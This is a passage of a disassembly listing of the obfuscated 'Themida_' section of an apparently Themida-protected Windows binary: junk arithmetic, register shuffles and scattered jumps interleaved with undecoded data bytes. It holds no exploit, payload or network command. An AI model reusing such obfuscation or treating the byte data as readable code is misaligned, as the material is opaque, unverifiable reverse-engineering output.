		dd 4, 2C8BEE01h, 4C48124h, 87000000h, 248B2434h, 7FBD5524h
		dd 11C3473h, 0E904246Ch, 0FFFFCAA0h, 9FE8E958h,	428FFFFh
		dd 94E99C24h, 81FFFF7Dh, 2C5h, 4EC8100h, 89000000h, 74FF242Ch
		dd 34FF0424h, 0C4835D24h, 41D0E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557A3E:				; CODE XREF: Themida_:005503CCj
		pop	ecx
		add	esp, 4
		sub	ecx, 6551F51h
		push	70C7h
		mov	[esp], edi
		push	44F03708h
		pop	edi
		push	esi
		mov	esi, 50356903h
		inc	esi
		push	ebx
		mov	ebx, 32FD2CB3h
		jmp	loc_5571C0
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0CE2D48D8h, 29A48EF8h, 0BD5558C2h, 68AE701Dh, 5557ED81h
		dd 0C5E94222h, 88FFFF80h, 5A5958C3h, 1C8BD828h,	4C48124h
		dd 0E9000000h, 2E93h
dword_557A9C	dd 24048B66h, 4EC81h, 2C890000h, 0F6E0E924h, 1C89FFFFh
					; DATA XREF: Themida_:0054F6BCo
		dd 6DBE5624h, 0E91D5351h, 0FFFF9584h, 0E9D3F74Bh, 0FFFFCCFDh
; ---------------------------------------------------------------------------


loc_557AC4:				; CODE XREF: Themida_:00552B51j
		pop	ebp
		sub	eax, esi
		pop	esi
		push	edx
		push	ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 72E9754Ah
		push	1879h
		mov	[esp], edx
		mov	edx, 15085563h
		xor	edx, 160219B4h
		add	edx, 79057FE4h
		add	edx, 0D126983h
		jmp	loc_555ED4
; ---------------------------------------------------------------------------


loc_557AFC:				; CODE XREF: Themida_:00556053j
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_55AC87
; ---------------------------------------------------------------------------


loc_557B0A:				; CODE XREF: Themida_:0055C05Cj
		sub	esi, 69FE4D28h
		jmp	loc_552160
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0E2h
		dd 1070C56h, 8DF2E9CBh,	405FFFFh, 5000000h, 4, 0FFE83AE9h
		dd 0E95966FFh, 83Bh
dword_557B38	dd 240C8B66h, 55E78957h, 0FFACA0E9h, 240C8BFFh,	4C481h
					; DATA XREF: Themida_:0054F610o
		dd 1EB90000h, 296D080Ah, 9556E9D9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557B5A:				; CODE XREF: Themida_:005543E3j
		sub	ebx, 445E06AFh
		add	ebx, edi
		add	ebx, 445E06AFh
		add	[ebx], edx
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55ADDA
; ---------------------------------------------------------------------------


loc_557B7B:				; CODE XREF: Themida_:0055618Dj
		mov	[esp], ebx
		mov	bh, 89h
		neg	bh
		dec	bh
		neg	bh
		push	eax
		jmp	loc_550E63
; ---------------------------------------------------------------------------


loc_557B8C:				; CODE XREF: Themida_:005599F2j
		push	712B4A63h
		pop	edx
		jmp	loc_553F95
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0BFCEE81h, 0E9507E71h, 0FFFFA107h, 0BE56E289h, 1FF62D40h
		dd 3DEE8146h, 0E91FF62Dh, 0FFFFFBEBh, 0FE95651h, 51FFFF92h
		dd 10E4E9h, 0CFB85000h,	31B29993h, 0D80158C3h, 0FF9285E9h
		dd 0C5815DFFh, 4, 0E4E95753h, 1FFFFBBh,	0D1E95FFBh, 31FFFFFEh
		dd 2C33242Ch, 24248B24h, 0BFE9A5F3h, 81000022h,	260849CEh
		dd 70EE814Dh, 816FBF7Dh, 0BE9F8AEEh, 0E9F101DFh, 430Ah
		dd 24048F54h, 4240481h,	0FF000000h, 0A9E92434h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557C27:				; CODE XREF: Themida_:00555E18j
		mov	edi, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_559D4D
; ---------------------------------------------------------------------------
		dw 0CDFEh
		dd 4D8C580h, 17BEE9F1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557C42:				; CODE XREF: Themida_:0055776Dj
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 22D75827h
		mov	edi, esi
		pop	esi
		xor	edi, 2E667B60h
		jmp	loc_55B265
; ---------------------------------------------------------------------------


loc_557C5C:				; CODE XREF: Themida_:005530F4j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_551ACA
; ---------------------------------------------------------------------------
		dd 0E9F1015Dh, 0FFFFE790h, 0CB06142Dh, 5D82973h, 73CB0614h
		dd 3CCAB951h, 0C98167BBh, 1EB56018h, 0FFBA50E9h, 0D2E981FFh
		dd 31D8A69Ah, 240C8BCBh, 4C481h, 52530000h, 0D2F75A5Bh
		dd 0EC83D387h, 24348904h, 993ABB53h, 0DE896547h, 5EF3295Bh
		dd 685BD801h, 0E6Bh, 1226E9h
		db 0
; ---------------------------------------------------------------------------


loc_557CC5:				; CODE XREF: Themida_:005575DEj
		push	ebp
		mov	ebp, 78F54C11h
		sub	[esp+4], ebp
		pop	ebp
		push	dword ptr [esp]
		jmp	loc_551B6F
; ---------------------------------------------------------------------------
		dd 4240483h, 40558h, 0BE560000h, 4, 335EF001h, 4312404h
		dd 24043324h, 0FFB417E9h, 59EF80FFh, 1C8BF908h,	4C48124h
		dd 80000000h, 0E9C07DF1h, 5BE98006h, 2112E9h
		db 0
byte_557D15	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0054F684o
		dd 81240C8Bh, 4C4h, 9FE95300h, 5AFFFFD5h, 6E9D800h, 8F000018h
		dd 295C2404h, 0E99C2404h, 0FFFFA3F4h
; ---------------------------------------------------------------------------


loc_557D3C:				; CODE XREF: Themida_:005531E8j
		xor	eax, 0C4D620CEh
		sub	edi, eax
		pop	eax
		jmp	loc_554B2A
; ---------------------------------------------------------------------------


loc_557D49:				; CODE XREF: Themida_:00550DB6j
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		push	765Fh
		mov	[esp], ebp
		mov	ebp, 2
		jmp	loc_552AA8
; ---------------------------------------------------------------------------


loc_557D68:				; CODE XREF: Themida_:00550E92j
		pop	edx
		inc	ch
		xor	ch, 27h
		xor	al, ch
		pop	ecx
		jmp	loc_555F34
; ---------------------------------------------------------------------------
		dw 0EFC1h
		dd 2DD0E903h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557D7E:				; CODE XREF: Themida_:00553617j
		push	dword ptr [esp]
		pop	edi
		push	edi
		push	esp
		pop	edi
		push	esi
		mov	esi, 28714AF9h
		inc	esi
		jmp	loc_557F70
; ---------------------------------------------------------------------------
		db 4Ah,	50h, 0E9h
		dd 0FFFFF78Bh
; ---------------------------------------------------------------------------


loc_557D98:				; CODE XREF: Themida_:0055435Aj
		push	edx
		mov	edx, 327C2DAAh
		sub	ebx, edx
		pop	edx
		push	ebp
		mov	ebp, 5FDD0711h
		sub	ebp, 77DC76C8h
		jmp	loc_54FD18
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 0FFADF7E9h, 1C581FFh, 53270172h, 0BBh, 87EB2900h, 0BF575BDDh
		dd 3BB5481h, 3C99E9h, 8DCD8100h, 56050C40h, 6F2C66BEh
		dd 0ACC6814Ah, 817A8B7Eh, 0D591C6h, 5EF501C0h, 48E9EA29h
		dd 5FFFFFBFh, 0EA00C281h, 0D389F556h, 0FFF6DBE9h, 30FD68FFh
		dd 8358627Ch, 348904ECh, 33EEE924h, 30590000h, 0C0B60FC3h
		dd 0E98734FFh, 0FFFFE00Dh, 78E9E389h, 30FFFFB1h, 0DA9FE9E1h
		dd 0E95CFFFFh, 0FFFF797Bh, 4CCACE81h, 0C681203Bh, 0F0307D87h
		dd 895EF189h, 240C8BCFh, 4C481h, 0FD310000h, 4EC815Fh
		dd 89000000h, 5D58242Ch, 0A6E9D8F7h
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557E67:				; CODE XREF: Themida_:00551566j
		mov	esp, [esp]
		jmp	loc_54F7B3
; ---------------------------------------------------------------------------
		db 33h
		dd 0F9E9243Ch, 0B9FFFFAFh, 5AF12E85h, 5E9C149h,	0F45F181h
		dd 0E9C156A4h, 60496806h, 1C890000h, 47D8BB24h,	0E95759CBh
		dd 0FFFFD627h, 8904EC83h, 0FF54242Ch, 2C8B2434h, 0E3895324h
		dd 0F63E9h
		db 0
byte_557EB1	db 0FFh, 32h, 0E9h	; DATA XREF: Themida_:0054F75Co
		dd 0FFFF78FBh
; ---------------------------------------------------------------------------


loc_557EB8:				; CODE XREF: Themida_:0055A162j
		push	7E880018h
		mov	edi, [esp]
		add	esp, 4
		sub	edi, 0FFFFFFFFh
		jmp	loc_552664
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 348B0424h, 60E95224h
		db 7Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557EDB:				; CODE XREF: Themida_:0055474Aj
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		push	edi
		jmp	loc_55AAE0
; ---------------------------------------------------------------------------
		dw 0F989h
		dd 0E9243C8Bh, 6D1h, 46D1EE81h,	0E6C10556h, 0EE814E06h
		dd 1E720A50h, 75CBEE81h, 0EE81776Eh, 9EF26DDFh,	295EF501h
		dd 85ED81FDh, 5F559E03h, 3837EF81h, 0EF016520h,	3837C781h
		dd 2C8B6520h, 4C48124h,	83000000h, 6AE902C7h, 0FF000036h
		dd 0E9582434h, 0FFFFAA8Bh, 4C281h, 0C2810000h, 4, 5C241487h
		dd 0ED83D5F7h, 9F9FE9FFh, 54E9FFFFh, 0BDFFFF78h, 45373F8Ch
		dd 72D8E581h, 0E9570D14h, 0FFFF8B8Dh
; ---------------------------------------------------------------------------


loc_557F70:				; CODE XREF: Themida_:00557D8Cj
		add	esi, 0D78EB50Ah
		add	edi, esi
		pop	esi
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5524AD
; ---------------------------------------------------------------------------
		db 81h
		dd 58573FCEh, 8E6C120h,	0E6C1D6F7h, 42C68106h, 19DEFC0h
		dd 3EE95EF5h, 89FFFFDDh, 4C781E7h, 81000000h, 4EFh, 243C8700h
		dd 0C750E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557FBE:				; CODE XREF: Themida_:0054FAE1j
		add	ebp, edx
		pop	edx
		sub	ebp, 0FFFFFFFFh
		or	ebp, 2072BFAh
		add	ebp, 79A03402h
		jmp	loc_558F53
; ---------------------------------------------------------------------------
		dd 0E95AD501h, 0FFFF793Ch
; ---------------------------------------------------------------------------


loc_557FE0:				; CODE XREF: Themida_:00550E12j
		xor	ecx, edi
		xor	edi, ecx
		xor	ecx, edi
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		push	ebx
		mov	ebx, 30964008h
		jmp	loc_5569B4
; ---------------------------------------------------------------------------
		db 83h
		dd 348904ECh, 57E68924h, 0BF2520BFh, 1BF78163h,	0E9731325h
		dd 0FFFFB1AEh
; ---------------------------------------------------------------------------


loc_558010:				; CODE XREF: Themida_:00551129j
		mov	esp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		jmp	loc_5584A4
; ---------------------------------------------------------------------------


loc_558022:				; CODE XREF: Themida_:0055ACE8j
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_556F42
; ---------------------------------------------------------------------------
		dd 24248Bh, 0E99C2404h,	0FFFF777Bh
; ---------------------------------------------------------------------------


loc_558038:				; CODE XREF: Themida_:005525E1j
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		sub	dword ptr [esp], 7CC2609Bh
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	esi, 2A564CACh
		add	esi, ebx
		push	ecx
		mov	ecx, 1E9F6BE4h
		jmp	loc_5586CD
; ---------------------------------------------------------------------------
		db 29h,	0DDh, 0E9h
		dd 0FFFFE44Fh, 48D0F758h, 3A354905h, 0C6895660h, 585EF189h
		dd 0B7E9C829h
		db 21h,	2 dup(0)
byte_55808B	db 0FFh			; DATA XREF: Themida_:0054F634o
		dd 669D1C77h, 14D36659h, 56E99C24h, 83FFFF95h, 0E8E904C5h
		db 2Eh,	2 dup(0)
byte_5580A3	db 0F6h			; DATA XREF: Themida_:0054F660o
		dd 0E99C241Ch, 0FFFF7707h
; ---------------------------------------------------------------------------


loc_5580AC:				; CODE XREF: Themida_:0054FD13j
		push	edi
		push	ebp
		mov	ebp, 1B7F6C41h
		jmp	loc_553A3A
; ---------------------------------------------------------------------------


loc_5580B8:				; CODE XREF: Themida_:00551416j
		mov	[esp], ebx
		push	eax
		mov	eax, 2F973D0h
		jmp	loc_55628D
; ---------------------------------------------------------------------------
		dw 0E8E9h
		dd 89FFFF76h, 676853E5h, 0E9545558h, 0FFFF96CCh, 0E389535Bh
		dd 0FFB677E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5580E1:				; CODE XREF: Themida_:005549C9j
		pop	ecx
		pop	eax
		jmp	loc_5570CF
; ---------------------------------------------------------------------------
		dd 140F6859h, 14890000h, 251D6824h, 24890000h, 24048124h
		dd 4, 5A2434FFh, 0E904C483h, 0FFFF8946h, 36E9F701h, 2CFFFFE7h
		dd 4D02874h, 5ABC2C74h,	0FB047704h, 80DFB551h, 0E828EAF5h
		dd 4D82859h, 0E9FB2C35h, 0FFFFA962h, 81243C8Bh,	4C4h, 353DE900h
		dd 8B660000h, 8E92414h,	0FFFFFF91h, 0F3E92434h
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 55AE74DAh
		not	ecx
		jmp	loc_550412
; ---------------------------------------------------------------------------
		dd 0AD3974BFh, 9F78118h, 811A9541h, 0B45BE6EFh,	5FFB09AAh
		dd 16B2C381h, 0F3816E3Bh, 92881E50h, 0FF904BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5581A1:				; CODE XREF: Themida_:0055235Cj
		xchg	edx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	ecx
		mov	ecx, 6F0B5E8Eh
		xchg	edx, ecx
		jmp	loc_5581FC
; ---------------------------------------------------------------------------
byte_5581BD	db 66h,	8Bh, 4		; DATA XREF: Themida_:0054F658o
		dd 9B77E924h, 0EC81FFFFh, 4, 0BD242C89h, 5B4515A4h, 0FAE9DDF7h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5581DB:				; CODE XREF: Themida_:00550EC9j
		sub	[esp+8], ecx
		pop	ecx
		push	edx
		mov	edx, 293D0E25h
		sub	[esp+8], edx
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		sub	[esp], eax
		jmp	loc_555871
; ---------------------------------------------------------------------------


loc_5581FC:				; CODE XREF: Themida_:005581B8j
		not	edx
		xchg	edx, ecx
		push	ebp
		mov	ebp, 45BF451Dh
		and	ecx, ebp
		pop	ebp
		inc	ecx
		and	ecx, 1B803589h
		add	ecx, 0FF800F00h
		mov	esi, ecx
		pop	ecx
		and	eax, esi
		mov	esi, [esp]
		push	1C7Ch
		mov	[esp], ecx
		jmp	loc_554687
; ---------------------------------------------------------------------------


loc_55822B:				; CODE XREF: Themida_:00556456j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_551DF0
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 4BD55h, 0C2E90000h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55824B:				; CODE XREF: Themida_:00553ACFj
		neg	ecx
		sub	ecx, 4FE91404h
		or	ecx, 485542E7h
		inc	ecx
		add	ecx, 0B120990Ch
		add	edi, ecx
		pop	ecx
		jmp	loc_552591
; ---------------------------------------------------------------------------
		dd 68C8BF0Fh, 4773h, 0E9240C89h, 0FFFF753Bh
dword_558278	dd 6E7705ADh, 0C9054BFDh, 1045459h, 59C92DD8h, 0F2E90454h
					; DATA XREF: Themida_:0054F4FCo
		dd 59FFFF8Fh, 1B4C68h, 87FAE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55829A:				; CODE XREF: Themida_:00559EF9j
		pop	ecx
		push	ebx
		neg	dword ptr [esp]
		pop	ebx
		xor	ebx, 5E825B9Ch
		add	ebx, 7DF14E7Dh
		push	eax
		mov	eax, 3A002B07h
		or	eax, 5A4B433Eh
		add	eax, 3DB841D2h
		shr	eax, 7
		sub	eax, 698D3086h
		neg	eax
		add	eax, 9A3A410Bh
		add	ebp, eax
		pop	eax
		add	ebp, ebx
		sub	ebp, 2576A37h
		jmp	loc_5595C4
; ---------------------------------------------------------------------------
		db 81h
		dd 4C5h, 4C58300h, 5C242C87h, 0E924048Fh, 0FFFFDBDAh
; ---------------------------------------------------------------------------


loc_5582F0:				; CODE XREF: Themida_:0055AF55j
		push	ebx
		mov	ebx, 2F832FD0h
		dec	ebx
		shr	ebx, 8
		and	ebx, 77411558h
		not	ebx
		sub	ebx, 630A0242h
		add	ebx, 630B034Fh
		add	edx, ebx
		jmp	loc_5564B5
; ---------------------------------------------------------------------------


loc_558315:				; DATA XREF: Themida_:0054F578o
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		sub	ebp, 4
		xor	ebp, [esp]
		jmp	loc_55154A
; ---------------------------------------------------------------------------
aS_6		db '¶ºé° ',0
		align 2


loc_558336:				; CODE XREF: Themida_:00559935j
		mov	edx, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55A461
; ---------------------------------------------------------------------------


loc_55834B:				; CODE XREF: Themida_:00550906j
		add	ecx, 493062A7h
		inc	ecx
		jmp	loc_554113
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0EB81FB01h, 667912C6h, 0FFC830E9h, 0D9215DFFh, 1302E9h
		dd 58E95E00h, 51FFFFC0h, 0FFCA38E9h, 35DC2DFFh,	0BA52C6ECh
		dd 57145A73h, 15AD301h,	389BE9C3h, 0E9520000h, 0FFFF7B17h
		dd 8BFB015Dh, 0EBE9243Ch, 8BFFFF7Bh, 0E952240Ch, 0FFFFE4C1h
		dd 0AEE3815Fh, 0E9153A0Eh, 0FFFF8F12h, 4C28358h, 0FF82D4E9h
		dd 243C87FFh, 2418E95Ch, 515B0000h, 42474FFh, 24048F59h
		dd 48F665Ch, 73D9E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5583DA:				; CODE XREF: Themida_:00550B81j
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		push	ebp
		push	edi
		mov	edi, 5590113Eh
		xor	edi, 18A914E5h
		push	esi
		mov	esi, 0CD7B5E8Fh
		add	edi, esi
		pop	esi
		mov	ebp, edi
		pop	edi
		xor	ebp, 0BB04E7Ah
		xor	ebp, 11042A14h
		add	edi, ebp
		pop	ebp
		add	edi, 4
		jmp	loc_5522EA
; ---------------------------------------------------------------------------
		dd 86587CBFh, 5FF8294Fh, 7C05D001h, 5A4F8658h, 31240433h
		dd 4332404h, 24248B24h,	9C2424D2h, 0FF737EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558435:				; CODE XREF: Themida_:0055B88Fj
		sub	esp, 4
		mov	[esp], ecx
		push	edi
		mov	edi, ebx
		mov	ecx, edi
		pop	edi
		push	2279h
		mov	[esp], edx
		push	ecx
		pop	edx
		mov	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_5584D3
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF734Fh, 4C681h, 0C6830000h, 24343304h, 33243431h
		dd 0E95C2434h, 0FFFF7337h, 4BAh, 5AD38900h, 49D7EA81h
		dd 0EA814D97h, 11F5EE3h, 8CE9DA01h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558497:				; CODE XREF: Themida_:00550367j
		mov	eax, 18E6E86h
		sub	ebx, eax
		pop	eax
		jmp	loc_552677
; ---------------------------------------------------------------------------


loc_5584A4:				; CODE XREF: Themida_:0055801Dj
		mov	ebx, 4
		sub	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_551FCE
; ---------------------------------------------------------------------------
		dd 5BD9895Eh, 0E959C801h, 0FFFFF027h, 4154BA52h, 0D189432Bh
		dd 0D3E9505Ah
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5584D3:				; CODE XREF: Themida_:0055845Aj
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_54FFDF
; ---------------------------------------------------------------------------
		dd 2474FF56h, 5FE95E04h
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55B625
; ---------------------------------------------------------------------------
		db 53h
		dd 2BBh, 83BD5500h, 0E927F201h,	515h
; ---------------------------------------------------------------------------


loc_558508:				; CODE XREF: Themida_:00552F84j
		xor	ebp, edx
		xor	edx, ebp
		xchg	eax, edx
		jmp	loc_54F7B9
; ---------------------------------------------------------------------------
		dw 9CE9h
		dd 89FFFF72h, 0E389241Ch, 21C1BE56h
		db 96h,	51h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5578C4
; ---------------------------------------------------------------------------
		db 28h
		dd 0A1045BF8h, 0E904EC83h, 0FFFFDF4Ch
; ---------------------------------------------------------------------------


loc_558544:				; CODE XREF: Themida_:00553287j
		add	esp, 4
		add	ebx, 0E54A36h
		add	ebx, edx
		sub	ebx, 0E54A36h
		pop	edx
		xchg	ebx, [esp]
		pop	esp
		shr	ecx, 0Bh
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		push	ecx
		mov	ecx, 0B9643F8h
		xor	[esp+4], ecx
		pop	ecx
		pop	edx
		xor	edx, 0B9643F8h
		push	edx
		sub	esp, 4
		jmp	loc_54FCF6
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 83h
		dd 0D133B75Fh, 1EE94AE2h, 5CFFFF93h, 5335CE80h,	3601E951h
		dd 0EC810000h, 4, 68241C89h, 73E7h, 0E9241489h,	2F96h
		dd 8C10C681h, 0F589A5EBh, 0FFA35AE9h, 4C481FFh,	0E9000000h
		dd 1D8Ch, 2B951h, 0ECE90000h
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5585D7:				; CODE XREF: Themida_:0054FF7Bj
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		sub	ecx, 459A18FCh
		sub	esp, 4
		mov	[esp], eax
		push	edx
		push	esi
		mov	esi, 40F37580h
		mov	edx, 40F37600h
		sub	edx, esi
		pop	esi
		jmp	loc_551675
; ---------------------------------------------------------------------------
		db 31h
		dd 34332434h, 0B7E95C24h, 81FFFFCDh, 0E87871E5h, 0F5F58136h
		dd 8164705Fh, 6B05DAC5h, 4DD5F728h, 3DCDED81h, 0EB8965CAh
		dd 131E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558632:				; CODE XREF: Themida_:0055A1F5j
		push	ebp
		push	ebx
		push	117269D9h
		push	dword ptr [esp]
		pop	ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_55B167
; ---------------------------------------------------------------------------
		dd offset dword_49005C+0E50Ch
		align 2
		dw 1489h
		dd 6A57BA24h, 0CA813204h, 7C91499Ah, 0FFD3BBE9h, 24248BFFh
		dd 8156F1F7h, 4ECh, 0E84CE900h,	0C381FFFFh, 0FE678ECDh
		dd 0FF759FE9h
		db 0FFh
byte_558685	db 66h,	8Bh, 4		; DATA XREF: Themida_:0054F520o
		db '$hØ+',0
		align 2
		dw 0C89h
		dd 4EC8124h, 89000000h,	4832424h, 81590424h, 4C1h, 16D16800h
		dd 3C890000h, 2BF24h, 0F9010000h, 0E789575Fh, 4C781h, 0EF810000h
		dd 4, 5C243C87h, 0FFDFC9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5586CD:				; CODE XREF: Themida_:00558068j
		add	ecx, 19854C7Dh
		push	22B0h
		mov	[esp], ebx
		jmp	loc_55A067
; ---------------------------------------------------------------------------
		dd 808BEA80h, 0D528C7C5h, 0FFD8AFE9h, 89505CFFh, 405E0h
		dd 0BB530000h, 4, 875BD829h, 895C2404h,	0B3E9242Ch, 8B000000h
		dd 2AE9240Ch
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558713:				; CODE XREF: Themida_:00553CB3j
		push	esi
		mov	esi, 6E394EFAh
		jmp	loc_5579C0
; ---------------------------------------------------------------------------
		dw 35BEh
		dd 16F4125h, 9887E9F7h,	483FFFFh, 48F0424h, 0BF9EE924h
		dd 0FE01FFFFh, 2434875Fh, 1C77095Ch, 255DE9h
		db 0
; ---------------------------------------------------------------------------


loc_558745:				; CODE XREF: Themida_:005509B3j
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		add	eax, 7CC2609Bh
		jmp	loc_5531A3
; ---------------------------------------------------------------------------


loc_55875B:				; CODE XREF: Themida_:00559DA1j
		mov	[esp], ebp
		jmp	loc_54F806
; ---------------------------------------------------------------------------
		db 29h
		dd 241C8BD8h, 4C481h, 0B62D0000h, 2939D52Ch, 2CB605D8h
		dd 0F96839D5h, 8900004Ah, 82682414h, 5A311264h,	0D37AE12Dh
		dd 5D00111h, 11D37AE1h,	0E92434FFh, 0EC5h
; ---------------------------------------------------------------------------


loc_55879C:				; CODE XREF: Themida_:00551545j
		or	edx, eax
		jmp	loc_5571E0
; ---------------------------------------------------------------------------


loc_5587A3:				; CODE XREF: Themida_:00556687j
		mov	ecx, 76EE056Ah
		dec	ecx
		jmp	loc_55401F
; ---------------------------------------------------------------------------


loc_5587AE:				; CODE XREF: Themida_:00551112j
		mov	dh, 0FCh
		mov	al, dh
		mov	edx, [esp]
		add	esp, 4
		push	edx
		jmp	loc_55BB1F
; ---------------------------------------------------------------------------
		dw 58BDh
		dd 81395270h, 1E1248C5h, 4DD5F749h, 0D68ED81h, 0E8316ED7h
		dd 5D2434FFh, 8304C483h, 0C8904ECh, 36E95524h, 0FFFFFFA3h
		dd 81592434h, 4C4h, 241C8700h, 0FF919CE9h, 81D5F7FFh, 4ECh
		dd 1D0CE900h, 73BE0000h, 31055657h, 5E042474h, 4EC8158h
		dd 89000000h, 0BABD242Ch, 452F0314h, 3627CD81h,	0ED8139E1h
		dd 6CBD2343h, 0E84F581h, 0E9514A26h, 26E8h, 5E2C14Ah, 0BC56E94Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558842:				; CODE XREF: Themida_:00559274j
		add	ebx, 6095B6Fh
		jmp	loc_554F1A
; ---------------------------------------------------------------------------


loc_55884D:				; CODE XREF: Themida_:00553B0Aj
		push	2613095Eh
		pop	ebx
		xor	ebx, 29514F0Fh
		mov	ebp, ebx
		jmp	loc_553ABF
; ---------------------------------------------------------------------------


loc_558860:				; CODE XREF: Themida_:0055962Cj
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_55C0A1
; ---------------------------------------------------------------------------
		dw 67BFh
		dd 0C14EB225h, 814F05EFh, 0CEBC85F7h, 5FFB092Fh, 0EBF6E953h
		dd 0D2F7FFFFh, 6206E281h, 0C28102A6h, 0FDFDA002h, 335AD101h
		dd 0D9E9240Ch, 59FFFF99h, 2A21E9h, 0E3E95600h
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5588A7:				; CODE XREF: Themida_:005550EBj
		add	esp, 4
		push	23D6h
		mov	[esp], ecx
		mov	ecx, 4
		sub	edi, 2002Fh
		add	edi, ecx
		add	edi, 2002Fh
		pop	ecx
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]


loc_5588DB:				; CODE XREF: Themida_:005550CCj
					; Themida_:0055B513j
		push	dword ptr [edi+24h]
		push	4C5Ah
		jmp	loc_55BB29
; ---------------------------------------------------------------------------
		dd 0F488EE88h, 5A2434FFh, 4C481h, 0E3880000h, 0FF8AE5E9h
		dd 185A05FFh, 0C201F886h, 52565758h, 0FF890DE9h, 73BF57FFh
		dd 50243E14h, 0A74DD2B8h, 4ED6353Fh, 0C7312D40h, 2882E9h
		dd 4C48300h, 5C24048Fh,	0E9241489h, 0FFFF6E7Fh
; ---------------------------------------------------------------------------


loc_558934:				; CODE XREF: Themida_:005537F6j
		dec	edx
		jmp	loc_54FAD9
; ---------------------------------------------------------------------------
		dw 0FE89h
		dd 0EFCE815Fh, 816A1E49h, 0ED779FE6h, 0F7F6811Bh, 117A75Ch
		dd 0C1015EF0h, 0B1CBE958h, 487FFFFh, 1C895C24h,	1C8B5824h
		dd 81F1E924h, 0E95BFFFFh, 0FFFFF5EAh
dword_558970	dd 0E924248Bh, 0FFFF6E3Bh, 0E9C5C580h, 0FFFFAC20h
					; DATA XREF: Themida_:0054F4F0o
dword_558980	dd 4EC83ACh, 0B5240C89h, 0A82CABh, 59A804E8h, 83B05052h
					; DATA XREF: Themida_:0054F63Co
		dd 0FF9271E9h
		db 0FFh
; ---------------------------------------------------------------------------


